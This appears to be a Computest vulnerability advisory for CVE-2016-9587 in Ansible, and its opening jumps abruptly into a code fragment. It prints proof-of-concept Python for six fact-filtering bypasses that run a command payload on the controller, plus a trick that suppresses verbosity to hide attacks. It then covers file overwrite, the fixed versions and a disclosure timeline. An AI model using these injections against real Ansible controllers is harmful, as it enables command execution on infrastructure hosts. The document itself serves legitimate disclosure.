########### Computest security advisory CT-2017-0109 ############# Summary: Command execution on Ansible controller from host Affected software: Ansible CVE: CVE-2016-9587 Reference URL: https://www.computest.nl/advisories/ CT-2017-0109_Ansible.txt Affected versions: /dev/null; echo {}' % PAYLOAD, 'ansible_connection': 'local', # Become is usually enabled on the remote host, but on the Ansible # controller it's likely password protected. Disable it to prevent # password prompts. 'ansible_become': False, } Bypass #1: Adding a host ------------------------ Ansible allows modules to add hosts or update the inventory. This can be very useful, for instance when the inventory needs to be retrieved from a IaaS platform like as the AWS module does. If we're lucky, we can guess the inventory_hostname, in which case the host_vars are overwritten [2] and they will be in effect at the next task. If host_name doesn't match inventory_hostname, it might get executed in the play for the next hostgroup, also depending on the limits set on the commandline. # (Note that when data["add_host"] is set, # data["ansible_facts"] is ignored.) data['add_host'] = { # assume that host_name is the same as inventory_hostname 'host_name': socket.gethostname(), 'host_vars': INTERPRETER_FACTS, } # [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/strategy/__init__.py#L447 # [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/strategy/__init__.py#L580 Bypass #2: Conditionals ----------------------- Ansible actions allow for conditionals. If we know the exact contents of a "when" clause, and we register it as a fact, a special case checks whether the "when" clause matches a variable [1]. In that case it replaces it with its contents and evaluates [2] them. # Known conditionals, separated by newlines known_conditionals_str = """ ansible_os_family == 'Debian' ansible_os_family == "Debian" ansible_os_family == 'RedHat' ansible_os_family == "RedHat" ansible_distribution == "CentOS" result|failed item > 5 foo is defined """ known_conditionals = [x.strip() for x in known_conditionals_str.split('\n')] for known_conditional in known_conditionals: data['ansible_facts'][known_conditional] = LOOKUP [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/playbook/conditional.py#L118 [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/playbook/conditional.py#L125 Bypass #3: Template injection in stat module -------------------------------------------- The template module/action merges its results with those of the stat module. This allows us to bypass [1][2][3] the stripping of magic variables from ansible_facts [4], because they're at an unexpected location in the result tree. data.update({ 'stat': { 'exists': True, 'isdir': False, 'checksum': { 'rc': 0, 'ansible_facts': INTERPRETER_FACTS, }, } }) # [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/template.py#L39 # [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/template.py#L49 # [3] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/template.py#L146 # [4] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/__init__.py#L678 Bypass #4: Template injection by changing jinja syntax ------------------------------------------------------ Remote facts always get quoted. Set_fact unquotes them by evaluating them. UnsafeProxy was designed to defend against unquoting by transforming jinja syntax into jinja comments, effectively disabling injection. Bypass the filtering of "{{" and "{%" by changing the jinja syntax [1][2]. The {{}} is needed to make it look like a variable [3]. This works against: - set_fact: foo="{{ansible_os_family}}" - command: echo "{{foo}} data['ansible_facts'].update({ 'exploit_set_fact': True, 'ansible_os_family': "#jinja2:variable_start_string:'[[',variable_end_string:']]',block_start_string:'[%',block_end_string:'%]'\n{{}}\n[[ansible_host]][[lookup('pipe', '" + PAYLOAD + "')]]", }) # [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L66 # [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L469 # [3] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L308 Bypass #5: Template injection in dict keys ------------------------------------------ Strings and lists are properly cleaned up, but dictionary keys are not [1]. This works against: - set_fact: foo="some prefix {{ansible_os_family}} and/or suffix" - command: echo "{{foo}} The prefix and/or suffix are needed in order to turn the dict into a string, otherwise the value would remain a dict. data['ansible_facts'].update({ 'exploit_set_fact': True, 'ansible_os_family': { "{{ %s }}" % LOOKUP: ''}, }) # [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/vars/unsafe_proxy.py#L104 Bypass #6: Template injection using safe_eval --------------------------------------------- There's a special case for evaluating strings that look like a list or dict [1]. Strings that begin with "{" or "[" are evaluated by safe_eval [2]. This allows us to bypass the removal of jinja syntax [3]: we use the whitelisted Python to re-create a bit of Jinja template that is interpreted. This works against: - set_fact: foo="{{ansible_os_family}}" - command: echo "{{foo}} data['ansible_facts'].update({ 'exploit_set_fact': True, 'ansible_os_family': """[ '{'*2 + "%s" + '}'*2 ]""" % LOOKUP, }) # [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L334 # [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/safe_eval.py # [3] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L229 Issue: Disabling verbosity -------------------------- Verbosity can be set on the controller to get more debugging information. This verbosity is controlled through a custom fact. A host however can overwrite this fact and set the verbosity level to 0, hiding exploitation attempts. data['_ansible_verbose_override'] = 0 # [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/callback/default.py#L99 # [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/callback/default.py#L208 Issue: Overwriting files ------------------------ Roles usually contain custom facts that are defined in defaults/main.yml, intending to be overwritten by the inventory (with group and host vars). These facts can be overwritten by the remote host, due to the variable precedence [1]. Some of these facts may be used to specify the location of a file that will be copied to the remote host. The attacker may change it to /etc/passwd. The opposite is also true, he may be able to overwrite files on the Controller. One example is the usage of a password lookup with where the filename contains a variable [2]. [1] http://docs.ansible.com/ansible/playbooks_variables.html#variable-precedence-where-should-i-put-a-variable [2] http://docs.ansible.com/ansible/playbooks_lookups.html#the-password-lookup Mitigation ---------- Computest is not aware of mitigations short of installing fixed versions of the software. Resolution ---------- Ansible has released new versions that fix the vulnerabilities described in this advisory: version 2.1.4 for the 2.1 branch and 2.2.1 for the 2.2 branch. Conclusion ---------- The handling of Facts in Ansible suffers from too many special cases that allow for the bypassing of filtering. We found these issues in just hours of code review, which can be interpreted as a sign of very poor security. However, we don't believe this is the case. The attack surface of the Controller is very small, as it consists mainly of the Facts. We believe that it is very well possible to solve the filtering and quoting of Facts in a sound way, and that when this has been done, the opportunity for attack in this threat model is very small. Furthermore, the Ansible security team has been understanding and professional in their communication around this issue, which is a good sign for the handling of future issues. Timeline -------- 2016-12-08 First contact with Ansible security team 2016-12-09 First contact with Redhat security team (secalert@redhat.com) 2016-12-09 Submitted PoC and description to security@ansible.com 2016-12-13 Ansible confirms issue and severity 2016-12-15 Ansible informs us of intent to disclose after holidays 2017-01-05 Ansible informs us of disclosure date and fix versions 2017-01-09 Ansible issues fixed version
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